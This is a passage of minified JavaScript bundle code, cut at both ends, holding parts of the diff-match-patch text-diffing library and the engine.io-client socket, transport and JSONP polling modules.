ee;if((se=S+j-je)>=0&&se<g&&-1!=C[se])if(q=S+(ee=C[se])-se,ee>=(ce=f-ce))return this.diff_bisectSplit_(s,u,ee,q,c)}}}return[new ae.Diff(d,s),new ae.Diff(1,u)]},ae.prototype.diff_bisectSplit_=function(s,u,c,f,E){var _=s.substring(0,c),S=u.substring(0,f),g=s.substring(c),C=u.substring(f),z=this.diff_main(_,S,!1,E),H=this.diff_main(g,C,!1,E);return z.concat(H)},ae.prototype.diff_linesToChars_=function(s,u){var c=[],f={};function E(C){for(var z="",H=0,j=-1,U=c.length;j<C.length-1;){-1==(j=C.indexOf("\\n",H))&&(j=C.length-1);var G=C.substring(H,j+1);(f.hasOwnProperty?f.hasOwnProperty(G):void 0!==f[G])?z+=String.fromCharCode(f[G]):(U==_&&(G=C.substring(H),j=C.length),z+=String.fromCharCode(U),f[G]=U,c[U++]=G),H=j+1}return z}c[0]="";var _=4e4,S=E(s);return _=65535,{chars1:S,chars2:E(u),lineArray:c}},ae.prototype.diff_charsToLines_=function(s,u){for(var c=0;c<s.length;c++){for(var f=s[c][1],E=[],_=0;_<f.length;_++)E[_]=u[f.charCodeAt(_)];s[c][1]=E.join("")}},ae.prototype.diff_commonPrefix=function(s,u){if(!s||!u||s.charAt(0)!=u.charAt(0))return 0;for(var c=0,f=Math.min(s.length,u.length),E=f,_=0;c<E;)s.substring(_,E)==u.substring(_,E)?_=c=E:f=E,E=Math.floor((f-c)/2+c);return E},ae.prototype.diff_commonSuffix=function(s,u){if(!s||!u||s.charAt(s.length-1)!=u.charAt(u.length-1))return 0;for(var c=0,f=Math.min(s.length,u.length),E=f,_=0;c<E;)s.substring(s.length-E,s.length-_)==u.substring(u.length-E,u.length-_)?_=c=E:f=E,E=Math.floor((f-c)/2+c);return E},ae.prototype.diff_commonOverlap_=function(s,u){var c=s.length,f=u.length;if(0==c||0==f)return 0;c>f?s=s.substring(c-f):c<f&&(u=u.substring(0,c));var E=Math.min(c,f);if(s==u)return E;for(var _=0,S=1;;){var g=s.substring(E-S),C=u.indexOf(g);if(-1==C)return _;S+=C,(0==C||s.substring(E-S)==u.substring(0,S))&&(_=S,S++)}},ae.prototype.diff_halfMatch_=function(s,u){if(this.Diff_Timeout<=0)return null;var c=s.length>u.length?s:u,f=s.length>u.length?u:s;if(c.length<4||2*f.length<c.length)return null;var E=this;function _(Q,oe,Ce){for(var ee,q,we,ce,k=Q.substring(Ce,Ce+Math.floor(Q.length/4)),K=-1,se="";-1!=(K=oe.indexOf(k,K+1));){var je=E.diff_commonPrefix(Q.substring(Ce),oe.substring(K)),Ze=E.diff_commonSuffix(Q.substring(0,Ce),oe.substring(0,K));se.length<Ze+je&&(se=oe.substring(K-Ze,K)+oe.substring(K,K+je),ee=Q.substring(0,Ce-Ze),q=Q.substring(Ce+je),we=oe.substring(0,K-Ze),ce=oe.substring(K+je))}return 2*se.length>=Q.length?[ee,q,we,ce,se]:null}var C,z,H,j,U,S=_(c,f,Math.ceil(c.length/4)),g=_(c,f,Math.ceil(c.length/2));return S||g?(C=g?S&&S[4].length>g[4].length?S:g:S,s.length>u.length?(z=C[0],H=C[1],j=C[2],U=C[3]):(j=C[0],U=C[1],z=C[2],H=C[3]),[z,H,j,U,C[4]]):null},ae.prototype.diff_cleanupSemantic=function(s){for(var u=!1,c=[],f=0,E=null,_=0,S=0,g=0,C=0,z=0;_<s.length;)0==s[_][0]?(c[f++]=_,S=C,g=z,C=0,z=0,E=s[_][1]):(1==s[_][0]?C+=s[_][1].length:z+=s[_][1].length,E&&E.length<=Math.max(S,g)&&E.length<=Math.max(C,z)&&(s.splice(c[f-1],0,new ae.Diff(d,E)),s[c[f-1]+1][0]=1,f--,_=--f>0?c[f-1]:-1,S=0,g=0,C=0,z=0,E=null,u=!0)),_++;for(u&&this.diff_cleanupMerge(s),this.diff_cleanupSemanticLossless(s),_=1;_<s.length;){if(s[_-1][0]==d&&1==s[_][0]){var H=s[_-1][1],j=s[_][1],U=this.diff_commonOverlap_(H,j),G=this.diff_commonOverlap_(j,H);U>=G?(U>=H.length/2||U>=j.length/2)&&(s.splice(_,0,new ae.Diff(0,j.substring(0,U))),s[_-1][1]=H.substring(0,H.length-U),s[_+1][1]=j.substring(U),_++):(G>=H.length/2||G>=j.length/2)&&(s.splice(_,0,new ae.Diff(0,H.substring(0,G))),s[_-1][0]=1,s[_-1][1]=j.substring(0,j.length-G),s[_+1][0]=d,s[_+1][1]=H.substring(G),_++),_++}_++}},ae.prototype.diff_cleanupSemanticLossless=function(s){function u(G,Q){if(!G||!Q)return 6;var oe=G.charAt(G.length-1),Ce=Q.charAt(0),k=oe.match(ae.nonAlphaNumericRegex_),K=Ce.match(ae.nonAlphaNumericRegex_),se=k&&oe.match(ae.whitespaceRegex_),ee=K&&Ce.match(ae.whitespaceRegex_),q=se&&oe.match(ae.linebreakRegex_),we=ee&&Ce.match(ae.linebreakRegex_),ce=q&&G.match(ae.blanklineEndRegex_),je=we&&Q.match(ae.blanklineStartRegex_);return ce||je?5:q||we?4:k&&!se&&ee?3:se||ee?2:k||K?1:0}for(var c=1;c<s.length-1;){if(0==s[c-1][0]&&0==s[c+1][0]){var f=s[c-1][1],E=s[c][1],_=s[c+1][1],S=this.diff_commonSuffix(f,E);if(S){var g=E.substring(E.length-S);f=f.substring(0,f.length-S),E=g+E.substring(0,E.length-S),_=g+_}for(var C=f,z=E,H=_,j=u(f,E)+u(E,_);E.charAt(0)===_.charAt(0);){f+=E.charAt(0),E=E.substring(1)+_.charAt(0),_=_.substring(1);var U=u(f,E)+u(E,_);U>=j&&(j=U,C=f,z=E,H=_)}s[c-1][1]!=C&&(C?s[c-1][1]=C:(s.splice(c-1,1),c--),s[c][1]=z,H?s[c+1][1]=H:(s.splice(c+1,1),c--))}c++}},ae.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/,ae.whitespaceRegex_=/\\s/,ae.linebreakRegex_=/[\\r\\n]/,ae.blanklineEndRegex_=/\\n\\r?\\n$/,ae.blanklineStartRegex_=/^\\r?\\n\\r?\\n/,ae.prototype.diff_cleanupEfficiency=function(s){for(var u=!1,c=[],f=0,E=null,_=0,S=!1,g=!1,C=!1,z=!1;_<s.length;)0==s[_][0]?(s[_][1].length<this.Diff_EditCost&&(C||z)?(c[f++]=_,S=C,g=z,E=s[_][1]):(f=0,E=null),C=z=!1):(s[_][0]==d?z=!0:C=!0,E&&(S&&g&&C&&z||E.length<this.Diff_EditCost/2&&S+g+C+z==3)&&(s.splice(c[f-1],0,new ae.Diff(d,E)),s[c[f-1]+1][0]=1,f--,E=null,S&&g?(C=z=!0,f=0):(_=--f>0?c[f-1]:-1,C=z=!1),u=!0)),_++;u&&this.diff_cleanupMerge(s)},ae.prototype.diff_cleanupMerge=function(s){s.push(new ae.Diff(0,""));for(var S,u=0,c=0,f=0,E="",_="";u<s.length;)switch(s[u][0]){case 1:f++,_+=s[u][1],u++;break;case d:c++,E+=s[u][1],u++;break;case 0:c+f>1?(0!==c&&0!==f&&(0!==(S=this.diff_commonPrefix(_,E))&&(u-c-f>0&&0==s[u-c-f-1][0]?s[u-c-f-1][1]+=_.substring(0,S):(s.splice(0,0,new ae.Diff(0,_.substring(0,S))),u++),_=_.substring(S),E=E.substring(S)),0!==(S=this.diff_commonSuffix(_,E))&&(s[u][1]=_.substring(_.length-S)+s[u][1],_=_.substring(0,_.length-S),E=E.substring(0,E.length-S))),s.splice(u-=c+f,c+f),E.length&&(s.splice(u,0,new ae.Diff(d,E)),u++),_.length&&(s.splice(u,0,new ae.Diff(1,_)),u++),u++):0!==u&&0==s[u-1][0]?(s[u-1][1]+=s[u][1],s.splice(u,1)):u++,f=0,c=0,E="",_=""}""===s[s.length-1][1]&&s.pop();var g=!1;for(u=1;u<s.length-1;)0==s[u-1][0]&&0==s[u+1][0]&&(s[u][1].substring(s[u][1].length-s[u-1][1].length)==s[u-1][1]?(s[u][1]=s[u-1][1]+s[u][1].substring(0,s[u][1].length-s[u-1][1].length),s[u+1][1]=s[u-1][1]+s[u+1][1],s.splice(u-1,1),g=!0):s[u][1].substring(0,s[u+1][1].length)==s[u+1][1]&&(s[u-1][1]+=s[u+1][1],s[u][1]=s[u][1].substring(s[u+1][1].length)+s[u+1][1],s.splice(u+1,1),g=!0)),u++;g&&this.diff_cleanupMerge(s)},ae.prototype.diff_xIndex=function(s,u){var S,c=0,f=0,E=0,_=0;for(S=0;S<s.length&&(1!==s[S][0]&&(c+=s[S][1].length),s[S][0]!==d&&(f+=s[S][1].length),!(c>u));S++)E=c,_=f;return s.length!=S&&s[S][0]===d?_:_+(u-E)},ae.prototype.diff_prettyHtml=function(s){for(var u=[],c=/&/g,f=/</g,E=/>/g,_=/\\n/g,S=0;S<s.length;S++){var g=s[S][0],z=s[S][1].replace(c,"&").replace(f,"<").replace(E,">").replace(_,"¶<br>");switch(g){case 1:u[S]=\'<ins style="background:#e6ffe6;">\'+z+"</ins>";break;case d:u[S]=\'<del style="background:#ffe6e6;">\'+z+"</del>";break;case 0:u[S]="<span>"+z+"</span>"}}return u.join("")},ae.prototype.diff_text1=function(s){for(var u=[],c=0;c<s.length;c++)1!==s[c][0]&&(u[c]=s[c][1]);return u.join("")},ae.prototype.diff_text2=function(s){for(var u=[],c=0;c<s.length;c++)s[c][0]!==d&&(u[c]=s[c][1]);return u.join("")},ae.prototype.diff_levenshtein=function(s){for(var u=0,c=0,f=0,E=0;E<s.length;E++){var S=s[E][1];switch(s[E][0]){case 1:c+=S.length;break;case d:f+=S.length;break;case 0:u+=Math.max(c,f),c=0,f=0}}return u+Math.max(c,f)},ae.prototype.diff_toDelta=function(s){for(var u=[],c=0;c<s.length;c++)switch(s[c][0]){case 1:u[c]="+"+encodeURI(s[c][1]);break;case d:u[c]="-"+s[c][1].length;break;case 0:u[c]="="+s[c][1].length}return u.join("\\t").replace(/%20/g," ")},ae.prototype.diff_fromDelta=function(s,u){for(var c=[],f=0,E=0,_=u.split(/\\t/g),S=0;S<_.length;S++){var g=_[S].substring(1);switch(_[S].charAt(0)){case"+":try{c[f++]=new ae.Diff(1,decodeURI(g))}catch{throw new Error("Illegal escape in diff_fromDelta: "+g)}break;case"-":case"=":var C=parseInt(g,10);if(isNaN(C)||C<0)throw new Error("Invalid number in diff_fromDelta: "+g);var z=s.substring(E,E+=C);"="==_[S].charAt(0)?c[f++]=new ae.Diff(0,z):c[f++]=new ae.Diff(d,z);break;default:if(_[S])throw new Error("Invalid diff operation in diff_fromDelta: "+_[S])}}if(E!=s.length)throw new Error("Delta length ("+E+") does not equal source text length ("+s.length+").");return c},ae.prototype.match_main=function(s,u,c){if(null==s||null==u||null==c)throw new Error("Null input. (match_main)");return c=Math.max(0,Math.min(c,s.length)),s==u?0:s.length?s.substring(c,c+u.length)==u?c:this.match_bitap_(s,u,c):-1},ae.prototype.match_bitap_=function(s,u,c){if(u.length>this.Match_MaxBits)throw new Error("Pattern too long for this browser.");var f=this.match_alphabet_(u),E=this;function _(ee,q){var we=ee/u.length,ce=Math.abs(c-q);return E.Match_Distance?we+ce/E.Match_Distance:ce?1:we}var S=this.Match_Threshold,g=s.indexOf(u,c);-1!=g&&(S=Math.min(_(0,g),S),-1!=(g=s.lastIndexOf(u,c+u.length))&&(S=Math.min(_(0,g),S)));var C=1<<u.length-1;g=-1;for(var z,H,U,j=u.length+s.length,G=0;G<u.length;G++){for(z=0,H=j;z<H;)_(G,c+H)<=S?z=H:j=H,H=Math.floor((j-z)/2+z);j=H;var Q=Math.max(1,c-H+1),oe=Math.min(c+H,s.length)+u.length,Ce=Array(oe+2);Ce[oe+1]=(1<<G)-1;for(var k=oe;k>=Q;k--){var K=f[s.charAt(k-1)];if(Ce[k]=0===G?(Ce[k+1]<<1|1)&K:(Ce[k+1]<<1|1)&K|(U[k+1]|U[k])<<1|1|U[k+1],Ce[k]&C){var se=_(G,k-1);if(se<=S){if(S=se,!((g=k-1)>c))break;Q=Math.max(1,2*c-g)}}}if(_(G+1,c)>S)break;U=Ce}return g},ae.prototype.match_alphabet_=function(s){for(var u={},c=0;c<s.length;c++)u[s.charAt(c)]=0;for(c=0;c<s.length;c++)u[s.charAt(c)]|=1<<s.length-c-1;return u},ae.prototype.patch_addContext_=function(s,u){if(0!=u.length){if(null===s.start2)throw Error("patch not initialized");for(var c=u.substring(s.start2,s.start2+s.length1),f=0;u.indexOf(c)!=u.lastIndexOf(c)&&c.length<this.Match_MaxBits-this.Patch_Margin-this.Patch_Margin;)c=u.substring(s.start2-(f+=this.Patch_Margin),s.start2+s.length1+f);var E=u.substring(s.start2-(f+=this.Patch_Margin),s.start2);E&&s.diffs.unshift(new ae.Diff(0,E));var _=u.substring(s.start2+s.length1,s.start2+s.length1+f);_&&s.diffs.push(new ae.Diff(0,_)),s.start1-=E.length,s.start2-=E.length,s.length1+=E.length+_.length,s.length2+=E.length+_.length}},ae.prototype.patch_make=function(s,u,c){var f,E;if("string"==typeof s&&"string"==typeof u&&typeof c>"u")(E=this.diff_main(f=s,u,!0)).length>2&&(this.diff_cleanupSemantic(E),this.diff_cleanupEfficiency(E));else if(s&&"object"==typeof s&&typeof u>"u"&&typeof c>"u")f=this.diff_text1(E=s);else if("string"==typeof s&&u&&"object"==typeof u&&typeof c>"u")f=s,E=u;else{if("string"!=typeof s||"string"!=typeof u||!c||"object"!=typeof c)throw new Error("Unknown call format to patch_make.");f=s,E=c}if(0===E.length)return[];for(var _=[],S=new ae.patch_obj,g=0,C=0,z=0,H=f,j=f,U=0;U<E.length;U++){var G=E[U][0],Q=E[U][1];switch(!g&&0!==G&&(S.start1=C,S.start2=z),G){case 1:S.diffs[g++]=E[U],S.length2+=Q.length,j=j.substring(0,z)+Q+j.substring(z);break;case d:S.length1+=Q.length,S.diffs[g++]=E[U],j=j.substring(0,z)+j.substring(z+Q.length);break;case 0:Q.length<=2*this.Patch_Margin&&g&&E.length!=U+1?(S.diffs[g++]=E[U],S.length1+=Q.length,S.length2+=Q.length):Q.length>=2*this.Patch_Margin&&g&&(this.patch_addContext_(S,H),_.push(S),S=new ae.patch_obj,g=0,H=j,C=z)}1!==G&&(C+=Q.length),G!==d&&(z+=Q.length)}return g&&(this.patch_addContext_(S,H),_.push(S)),_},ae.prototype.patch_deepCopy=function(s){for(var u=[],c=0;c<s.length;c++){var f=s[c],E=new ae.patch_obj;E.diffs=[];for(var _=0;_<f.diffs.length;_++)E.diffs[_]=new ae.Diff(f.diffs[_][0],f.diffs[_][1]);E.start1=f.start1,E.start2=f.start2,E.length1=f.length1,E.length2=f.length2,u[c]=E}return u},ae.prototype.patch_apply=function(s,u){if(0==s.length)return[u,[]];s=this.patch_deepCopy(s);var c=this.patch_addPadding(s);u=c+u+c,this.patch_splitMax(s);for(var f=0,E=[],_=0;_<s.length;_++){var C,H,S=s[_].start2+f,g=this.diff_text1(s[_].diffs),z=-1;if(g.length>this.Match_MaxBits?-1!=(C=this.match_main(u,g.substring(0,this.Match_MaxBits),S))&&(-1==(z=this.match_main(u,g.substring(g.length-this.Match_MaxBits),S+g.length-this.Match_MaxBits))||C>=z)&&(C=-1):C=this.match_main(u,g,S),-1==C)E[_]=!1,f-=s[_].length2-s[_].length1;else if(E[_]=!0,f=C-S,g==(H=u.substring(C,-1==z?C+g.length:z+this.Match_MaxBits)))u=u.substring(0,C)+this.diff_text2(s[_].diffs)+u.substring(C+g.length);else{var j=this.diff_main(g,H,!1);if(g.length>this.Match_MaxBits&&this.diff_levenshtein(j)/g.length>this.Patch_DeleteThreshold)E[_]=!1;else{this.diff_cleanupSemanticLossless(j);for(var G,U=0,Q=0;Q<s[_].diffs.length;Q++){var oe=s[_].diffs[Q];0!==oe[0]&&(G=this.diff_xIndex(j,U)),1===oe[0]?u=u.substring(0,C+G)+oe[1]+u.substring(C+G):oe[0]===d&&(u=u.substring(0,C+G)+u.substring(C+this.diff_xIndex(j,U+oe[1].length))),oe[0]!==d&&(U+=oe[1].length)}}}}return[u=u.substring(c.length,u.length-c.length),E]},ae.prototype.patch_addPadding=function(s){for(var u=this.Patch_Margin,c="",f=1;f<=u;f++)c+=String.fromCharCode(f);for(f=0;f<s.length;f++)s[f].start1+=u,s[f].start2+=u;var E=s[0],_=E.diffs;if(0==_.length||0!=_[0][0])_.unshift(new ae.Diff(0,c)),E.start1-=u,E.start2-=u,E.length1+=u,E.length2+=u;else if(u>_[0][1].length){var S=u-_[0][1].length;_[0][1]=c.substring(_[0][1].length)+_[0][1],E.start1-=S,E.start2-=S,E.length1+=S,E.length2+=S}return 0==(_=(E=s[s.length-1]).diffs).length||0!=_[_.length-1][0]?(_.push(new ae.Diff(0,c)),E.length1+=u,E.length2+=u):u>_[_.length-1][1].length&&(_[_.length-1][1]+=c.substring(0,S=u-_[_.length-1][1].length),E.length1+=S,E.length2+=S),c},ae.prototype.patch_splitMax=function(s){for(var u=this.Match_MaxBits,c=0;c<s.length;c++)if(!(s[c].length1<=u)){var f=s[c];s.splice(c--,1);for(var E=f.start1,_=f.start2,S="";0!==f.diffs.length;){var g=new ae.patch_obj,C=!0;for(g.start1=E-S.length,g.start2=_-S.length,""!==S&&(g.length1=g.length2=S.length,g.diffs.push(new ae.Diff(0,S)));0!==f.diffs.length&&g.length1<u-this.Patch_Margin;){var z=f.diffs[0][0],H=f.diffs[0][1];1===z?(g.length2+=H.length,_+=H.length,g.diffs.push(f.diffs.shift()),C=!1):z===d&&1==g.diffs.length&&0==g.diffs[0][0]&&H.length>2*u?(g.length1+=H.length,E+=H.length,C=!1,g.diffs.push(new ae.Diff(z,H)),f.diffs.shift()):(H=H.substring(0,u-g.length1-this.Patch_Margin),g.length1+=H.length,E+=H.length,0===z?(g.length2+=H.length,_+=H.length):C=!1,g.diffs.push(new ae.Diff(z,H)),H==f.diffs[0][1]?f.diffs.shift():f.diffs[0][1]=f.diffs[0][1].substring(H.length))}S=(S=this.diff_text2(g.diffs)).substring(S.length-this.Patch_Margin);var j=this.diff_text1(f.diffs).substring(0,this.Patch_Margin);""!==j&&(g.length1+=j.length,g.length2+=j.length,0!==g.diffs.length&&0===g.diffs[g.diffs.length-1][0]?g.diffs[g.diffs.length-1][1]+=j:g.diffs.push(new ae.Diff(0,j))),C||s.splice(++c,0,g)}}},ae.prototype.patch_toText=function(s){for(var u=[],c=0;c<s.length;c++)u[c]=s[c];return u.join("")},ae.prototype.patch_fromText=function(s){var u=[];if(!s)return u;for(var c=s.split("\\n"),f=0,E=/^@@ -(\\d+),?(\\d*) \\+(\\d+),?(\\d*) @@$/;f<c.length;){var _=c[f].match(E);if(!_)throw new Error("Invalid patch string: "+c[f]);var S=new ae.patch_obj;for(u.push(S),S.start1=parseInt(_[1],10),""===_[2]?(S.start1--,S.length1=1):"0"==_[2]?S.length1=0:(S.start1--,S.length1=parseInt(_[2],10)),S.start2=parseInt(_[3],10),""===_[4]?(S.start2--,S.length2=1):"0"==_[4]?S.length2=0:(S.start2--,S.length2=parseInt(_[4],10)),f++;f<c.length;){var g=c[f].charAt(0);try{var C=decodeURI(c[f].substring(1))}catch{throw new Error("Illegal escape in patch_fromText: "+C)}if("-"==g)S.diffs.push(new ae.Diff(d,C));else if("+"==g)S.diffs.push(new ae.Diff(1,C));else if(" "==g)S.diffs.push(new ae.Diff(0,C));else{if("@"==g)break;if(""!==g)throw new Error(\'Invalid patch mode "\'+g+\'" in: \'+C)}f++}}return u},ae.patch_obj=function(){this.diffs=[],this.start1=null,this.start2=null,this.length1=0,this.length2=0},ae.patch_obj.prototype.toString=function(){for(var f,c=["@@ -"+(0===this.length1?this.start1+",0":1==this.length1?this.start1+1:this.start1+1+","+this.length1)+" +"+(0===this.length2?this.start2+",0":1==this.length2?this.start2+1:this.start2+1+","+this.length2)+" @@\\n"],E=0;E<this.diffs.length;E++){switch(this.diffs[E][0]){case 1:f="+";break;case d:f="-";break;case 0:f=" "}c[E+1]=f+encodeURI(this.diffs[E][1])+"\\n"}return c.join("").replace(/%20/g," ")},At.exports=ae,At.exports.diff_match_patch=ae,At.exports.DIFF_DELETE=d,At.exports.DIFF_INSERT=1,At.exports.DIFF_EQUAL=0},851:At=>{At.exports=typeof self<"u"?self:typeof window<"u"?window:Function("return this")()},7410:(At,ae,d)=>{const n=d(3213);At.exports=(a,s)=>new n(a,s),At.exports.Socket=n,At.exports.protocol=n.protocol,At.exports.Transport=d(3330),At.exports.transports=d(1497),At.exports.parser=d(1510)},3213:(At,ae,d)=>{const n=d(1497),a=d(1264),s=d(1455)("engine.io-client:socket"),u=d(1510),c=d(1884),f=d(3257);class E extends a{constructor(g,C={}){super(),g&&"object"==typeof g&&(C=g,g=null),g?(g=c(g),C.hostname=g.host,C.secure="https"===g.protocol||"wss"===g.protocol,C.port=g.port,g.query&&(C.query=g.query)):C.host&&(C.hostname=c(C.host).host),this.secure=null!=C.secure?C.secure:typeof location<"u"&&"https:"===location.protocol,C.hostname&&!C.port&&(C.port=this.secure?"443":"80"),this.hostname=C.hostname||(typeof location<"u"?location.hostname:"localhost"),this.port=C.port||(typeof location<"u"&&location.port?location.port:this.secure?443:80),this.transports=C.transports||["polling","websocket"],this.readyState="",this.writeBuffer=[],this.prevBufferLen=0,this.opts=Object.assign({path:"/engine.io",agent:!1,withCredentials:!1,upgrade:!0,jsonp:!0,timestampParam:"t",rememberUpgrade:!1,rejectUnauthorized:!0,perMessageDeflate:{threshold:1024},transportOptions:{}},C),this.opts.path=this.opts.path.replace(/\\/$/,"")+"/","string"==typeof this.opts.query&&(this.opts.query=f.decode(this.opts.query)),this.id=null,this.upgrades=null,this.pingInterval=null,this.pingTimeout=null,this.pingTimeoutTimer=null,"function"==typeof addEventListener&&addEventListener("beforeunload",()=>{this.transport&&(this.transport.removeAllListeners(),this.transport.close())},!1),this.open()}createTransport(g){s(\'creating transport "%s"\',g);const C=function _(S){const g={};for(let C in S)S.hasOwnProperty(C)&&(g[C]=S[C]);return g}(this.opts.query);C.EIO=u.protocol,C.transport=g,this.id&&(C.sid=this.id);const z=Object.assign({},this.opts.transportOptions[g],this.opts,{query:C,socket:this,hostname:this.hostname,secure:this.secure,port:this.port});return s("options: %j",z),new n[g](z)}open(){let g;if(this.opts.rememberUpgrade&&E.priorWebsocketSuccess&&-1!==this.transports.indexOf("websocket"))g="websocket";else{if(0===this.transports.length){const C=this;return void setTimeout(function(){C.emit("error","No transports available")},0)}g=this.transports[0]}this.readyState="opening";try{g=this.createTransport(g)}catch(C){return s("error while creating transport: %s",C),this.transports.shift(),void this.open()}g.open(),this.setTransport(g)}setTransport(g){s("setting transport %s",g.name);const C=this;this.transport&&(s("clearing existing transport %s",this.transport.name),this.transport.removeAllListeners()),this.transport=g,g.on("drain",function(){C.onDrain()}).on("packet",function(z){C.onPacket(z)}).on("error",function(z){C.onError(z)}).on("close",function(){C.onClose("transport close")})}probe(g){s(\'probing transport "%s"\',g);let C=this.createTransport(g,{probe:1}),z=!1;const H=this;function j(){H.onlyBinaryUpgrades&&(z=z||!this.supportsBinary&&H.transport.supportsBinary),z||(s(\'probe transport "%s" opened\',g),C.send([{type:"ping",data:"probe"}]),C.once("packet",function(K){if(!z)if("pong"===K.type&&"probe"===K.data){if(s(\'probe transport "%s" pong\',g),H.upgrading=!0,H.emit("upgrading",C),!C)return;E.priorWebsocketSuccess="websocket"===C.name,s(\'pausing current transport "%s"\',H.transport.name),H.transport.pause(function(){z||"closed"!==H.readyState&&(s("changing transport and sending upgrade packet"),k(),H.setTransport(C),C.send([{type:"upgrade"}]),H.emit("upgrade",C),C=null,H.upgrading=!1,H.flush())})}else{s(\'probe transport "%s" failed\',g);const se=new Error("probe error");se.transport=C.name,H.emit("upgradeError",se)}}))}function U(){z||(z=!0,k(),C.close(),C=null)}function G(K){const se=new Error("probe error: "+K);se.transport=C.name,U(),s(\'probe transport "%s" failed because of error: %s\',g,K),H.emit("upgradeError",se)}function Q(){G("transport closed")}function oe(){G("socket closed")}function Ce(K){C&&K.name!==C.name&&(s(\'"%s" works - aborting "%s"\',K.name,C.name),U())}function k(){C.removeListener("open",j),C.removeListener("error",G),C.removeListener("close",Q),H.removeListener("close",oe),H.removeListener("upgrading",Ce)}E.priorWebsocketSuccess=!1,C.once("open",j),C.once("error",G),C.once("close",Q),this.once("close",oe),this.once("upgrading",Ce),C.open()}onOpen(){if(s("socket open"),this.readyState="open",E.priorWebsocketSuccess="websocket"===this.transport.name,this.emit("open"),this.flush(),"open"===this.readyState&&this.opts.upgrade&&this.transport.pause){s("starting upgrade probes");let g=0;const C=this.upgrades.length;for(;g<C;g++)this.probe(this.upgrades[g])}}onPacket(g){if("opening"===this.readyState||"open"===this.readyState||"closing"===this.readyState)switch(s(\'socket receive: type "%s", data "%s"\',g.type,g.data),this.emit("packet",g),this.emit("heartbeat"),g.type){case"open":this.onHandshake(JSON.parse(g.data));break;case"ping":this.resetPingTimeout(),this.sendPacket("pong"),this.emit("pong");break;case"error":const C=new Error("server error");C.code=g.data,this.onError(C);break;case"message":this.emit("data",g.data),this.emit("message",g.data)}else s(\'packet received with socket readyState "%s"\',this.readyState)}onHandshake(g){this.emit("handshake",g),this.id=g.sid,this.transport.query.sid=g.sid,this.upgrades=this.filterUpgrades(g.upgrades),this.pingInterval=g.pingInterval,this.pingTimeout=g.pingTimeout,this.onOpen(),"closed"!==this.readyState&&this.resetPingTimeout()}resetPingTimeout(){clearTimeout(this.pingTimeoutTimer),this.pingTimeoutTimer=setTimeout(()=>{this.onClose("ping timeout")},this.pingInterval+this.pingTimeout)}onDrain(){this.writeBuffer.splice(0,this.prevBufferLen),this.prevBufferLen=0,0===this.writeBuffer.length?this.emit("drain"):this.flush()}flush(){"closed"!==this.readyState&&this.transport.writable&&!this.upgrading&&this.writeBuffer.length&&(s("flushing %d packets in socket",this.writeBuffer.length),this.transport.send(this.writeBuffer),this.prevBufferLen=this.writeBuffer.length,this.emit("flush"))}write(g,C,z){return this.sendPacket("message",g,C,z),this}send(g,C,z){return this.sendPacket("message",g,C,z),this}sendPacket(g,C,z,H){if("function"==typeof C&&(H=C,C=void 0),"function"==typeof z&&(H=z,z=null),"closing"===this.readyState||"closed"===this.readyState)return;(z=z||{}).compress=!1!==z.compress;const j={type:g,data:C,options:z};this.emit("packetCreate",j),this.writeBuffer.push(j),H&&this.once("flush",H),this.flush()}close(){const g=this;function C(){g.onClose("forced close"),s("socket closing - telling transport to close"),g.transport.close()}function z(){g.removeListener("upgrade",z),g.removeListener("upgradeError",z),C()}function H(){g.once("upgrade",z),g.once("upgradeError",z)}return("opening"===this.readyState||"open"===this.readyState)&&(this.readyState="closing",this.writeBuffer.length?this.once("drain",function(){this.upgrading?H():C()}):this.upgrading?H():C()),this}onError(g){s("socket error %j",g),E.priorWebsocketSuccess=!1,this.emit("error",g),this.onClose("transport error",g)}onClose(g,C){if("opening"===this.readyState||"open"===this.readyState||"closing"===this.readyState){s(\'socket close with reason: "%s"\',g);const z=this;clearTimeout(this.pingIntervalTimer),clearTimeout(this.pingTimeoutTimer),this.transport.removeAllListeners("close"),this.transport.close(),this.transport.removeAllListeners(),this.readyState="closed",this.id=null,this.emit("close",g,C),z.writeBuffer=[],z.prevBufferLen=0}}filterUpgrades(g){const C=[];let z=0;const H=g.length;for(;z<H;z++)~this.transports.indexOf(g[z])&&C.push(g[z]);return C}}E.priorWebsocketSuccess=!1,E.protocol=u.protocol,At.exports=E},3330:(At,ae,d)=>{const n=d(1510),a=d(1264),s=d(1455)("engine.io-client:transport");At.exports=class u extends a{constructor(f){super(),this.opts=f,this.query=f.query,this.readyState="",this.socket=f.socket}onError(f,E){const _=new Error(f);return _.type="TransportError",_.description=E,this.emit("error",_),this}open(){return("closed"===this.readyState||""===this.readyState)&&(this.readyState="opening",this.doOpen()),this}close(){return("opening"===this.readyState||"open"===this.readyState)&&(this.doClose(),this.onClose()),this}send(f){"open"===this.readyState?this.write(f):s("transport is not open, discarding packets")}onOpen(){this.readyState="open",this.writable=!0,this.emit("open")}onData(f){const E=n.decodePacket(f,this.socket.binaryType);this.onPacket(E)}onPacket(f){this.emit("packet",f)}onClose(){this.readyState="closed",this.emit("close")}}},1497:(At,ae,d)=>{const n=d(3035),a=d(2889),s=d(6029),u=d(3909);ae.polling=function c(f){let E,_=!1,S=!1;const g=!1!==f.jsonp;if(typeof location<"u"){const C="https:"===location.protocol;let z=location.port;z||(z=C?443:80),_=f.hostname!==location.hostname||z!==f.port,S=f.secure!==C}if(f.xdomain=_,f.xscheme=S,E=new n(f),"open"in E&&!f.forceJSONP)return new a(f);if(!g)throw new Error("JSONP disabled");return new s(f)},ae.websocket=u},6029:(At,ae,d)=>{const n=d(3904),a=d(851),s=/\\n/g,u=/\\\\n/g;let c;At.exports=class f extends n{constructor(_){super(_),this.query=this.query||{},c||(c=a.___eio=a.___eio||[]),this.index=c.length;const S=this;c.push(function(g){S.onData(g)}),this.query.j=this.index}get supportsBinary(){return!1}doClose(){this.script&&(this.script.onerror=()=>{},this.script.parentNode.removeChild(this.script),this.script=null),this.form&&(this.form.parentNode.removeChild(this.form),this.form=null,this.iframe=null),super.doClose()}doPoll(){const _=this,S=document.createElement("script");this.script&&(this.script.parentNode.removeChild(this.script),this.script=null),S.async=!0,S.src=this.uri(),S.onerror=function(z){_.onError("jsonp poll error",z)};const g=document.getElementsByTagName("script")[0];g?g.parentNode.insertBefore(S,g):(document.head||document.body).appendChild(S),this.script=S,typeof navigator<"u"&&/gecko/i.test(navigator.userAgent)&&setTimeout(function(){const z=document.createElement("iframe");document.body.appendChild(z),document.body.removeChild(z)},100)}doWrite(_,S){const g=this;let C;if(!this.form){const 